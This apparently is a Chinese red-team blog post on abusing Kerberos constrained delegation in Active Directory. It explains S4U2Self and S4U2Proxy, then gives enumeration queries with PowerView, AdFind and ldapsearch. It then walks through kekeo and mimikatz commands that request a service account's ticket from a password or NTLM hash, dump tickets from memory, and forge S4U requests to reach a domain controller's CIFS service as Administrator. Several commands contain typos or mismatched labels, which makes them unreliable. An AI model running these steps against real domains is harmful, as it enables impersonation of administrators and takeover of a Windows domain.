由于非约束性委派的不安全性,微软在 Windows Server 2003 中引入了约束委派。区别在于不会直接把 TGT 给服务,所发送的认证信息中包含了允许访问的服务,即不允许服务代表用户去访问其他服务。同时为了在 Kerberos 协议层面对约束性委派的支持, 微软扩展了两个子协议:
- S4U2Self
Service for Administrator to Self
- S4U2Proxy
Service for Administrator to Proxy
S4U2Self
可以代表自身请求针对其自身的 Kerberos 服务票据 ST
, S4U2Proxy
可以用上一步获得的可转发 ST 服务票据以用户的名义请求针对其他指定服务的 ST 服务票据。
对于约束性委派,服务账号只能获取该用户的 ST 服务票据,从而只能模拟该用户访问特定的服务。配置了约束性委派账户的 msDS- AllowedToDelegateTo
属性会指定对哪个 SPN 进行委派。约束性委派的设置需要 SeEnableDelegationPrivilege 权限,该特权通常只有域管理员才有。
在域控上配置约束性委派
约束性委派有两种,然后添加可以由此账户提供委派凭证的服务即可:
- 仅使用 Kerberos(K)
- 使用任何身份验证协议 (N)下面设置了服务用户
test
的约束性委派,协议为域控dc
的cifs
协议
仅使用 Kerberos(K)
仅用 Kerberos 协议进行身份验证,不支持协议转换。置了仅使用 Kerberos(K) 约束性委派的机器账号和服务账号的 userAccountControl
属性与正常账号一样,但是其 msDS- AllowedToDelegateTo
属性会有允许被委派的服务的 SPN。
使用任何身份验证协议 (N)
支持协议的转换。
- 配置了使用任何身份验证协议 (N) 约束性委派的机器账号的
userAccountControl
属性有个 FLAG 位WORKSTATION_TRUST_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION
,其对应的数是0x1001000=16781312
。并且其msDS-AllowedToDelegateTo
属性会有允许被委派的服务的 SPN。 - 配置了使用任何身份验证协议 (N) 约束性委派的服务账号的
userAccountControl
属性有个 FLAG 位NORMAL_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
,其对应的数是0x1000200=16777728
。并且其msDS-AllowedToDelegateTo
属性会有允许被委派的服务的 SPN。
查询约束性委派的计算机或服务账号
PowerView
PowerView 有几个不同的版本,这里用的是 PowerShellMafia 下的,脚本地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# 导入 PowerView 脚本
import-module .\PowerView.ps1
# 查询域内约束性委派的计算机
Get-DomainComputer -TrustedToAuth -Domain attack.cn -Properties distinguishedname,userAccountControl,msds-allowedtodelegateto | fl
# 查询域内非约束性委派的服务账号
Get-DomainAdministrator -TrustedToAuth -Domain attack.cn -Properties distinguishedname,userAccountControl,msds-allowedtodelegateto | fl
# 获取设置了约束性委派的机器账号
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
Get-DomainComputer -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
Adfind
下载地址:https://oss.attack.info/file/AdFind.exe
该工具不需要账号密码即可查询,其他支持 ldap 协议的工具也可以实现查询。
# 查询域内约束性委派的计算机
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" -dn
# 查询非束性委派的服务账号
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -dn
ldapsearch
kali 内置,其他系统安装
# Ubuntu 用户安装
sudo apt install ldap-utils
# mac 用户安装
brew install ldapvi
该工具需要域内任意用户的账号密码,可在域外查询。其他支持 ldap 协议的工具也可以实现查询。
# 查询域内约束性委派的计算机
ldapsearch -x -H ldap://192.168.11.11:389 -D "test@attack.cn" -w "P@ssw0rd" -b dc=attack,DC=cn "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
# 查询非束性委派的服务账号
ldapsearch -x -H ldap://192.168.11.11:389 -D "test@attack.cn" -w "P@ssw0rd" -b dc=attack,DC=cn "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
约束性委派攻击
服务用户只能获取某个用户(或主机)的服务的 ST,所以只能模拟用户访问特定的服务,是无法获取用户的 TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者 NTLM Hash
,我们就可以伪造 S4U 请求,进而伪装成服务用户以任意账户的权限申请访问指定服务的 ST。
已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的 TGT
# kekeo
tgt::ask /user:test /domain:attack.cn /password:P@ssw0rd
# 得到服务用户 test 的 TGT: TGT_test@ATTACK.CN_krbtgt~attack.cn@ATTACK.CN.kirbi
使用这张 TGT 通过伪造 S4U 请求以 administrator
用户身份请求访问 dc CIFS
的 ST
# kekeo
tgs::s4u /tgt:TGT_test@ATTACK.CN_krbtgt~attack.cn@ATTACK.CN.kirbi /user:Administrator@attack.cn /service:cifs/dc.attack.cn
# S4U2self 的 ST1: TGS_Administrator@attack.cn@ATTACK.CN_test@ATTACK.CN.kirbi
# S4U2proxy 的 ST2: TGS_Administrator@attack.cn@ATTACK.CN_cifs~dc.attack.cn@ATTACK.CN.kirbi
S4U2Self
获取到的ST1
和 S4U2Proxy
获取到的域控 dc CIFS 服务的 ST2 会保存在当前目录下,然后用 mimikatz 将 ST2 导入当前会话,即可成功访问域控 dc
# mimikatz
kerberos::ptt TGS_Administrator@attack.cn@ATTACK.CN_cifs~dc.attack.cn@ATTACK.CN.kirbi
如果不知道服务用户明文的情况下,kekeo 同样也支持使用 NTLM Hash,在请求服务用户的 TGT 那步直接把 /password
改成 /NTLM
即可
# kekeo
tgt::ask /Administrator:test /domain:attack.cn /NTLM:e19ccf75ee54e06b06a5907af13cef42
如果不知道服务用户的明文和 NTLM Hash,但是已有服务用户登陆的主机的本地管理员权限,可以用 mimikatz 直接从内存中把服务用户的 TGT 导出
注意:涉及提权,然后读取,普通与用户没办法调用管理员形式启动cmd读取凭证,当然这种形式在实战中九经常利用到!!!
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit 引用下zjun师傅的图,因为我的环境崩了
服务用户的 TGT 导出后,就可以通过伪造 S4U 请求以 administrator
用户身份请求访问 dc CIFS
的 ST
# kekeo
tgs::s4u /tgt:[0;8f613]-2-0-40e10000-test@krbtgt-attack.cn.kirbi /Administrator:Administrator@attack.cn /service:cifs/dc.attack.cn
转载请注明:Adminxe's Blog » Kerberos 域委派攻击之约束性委派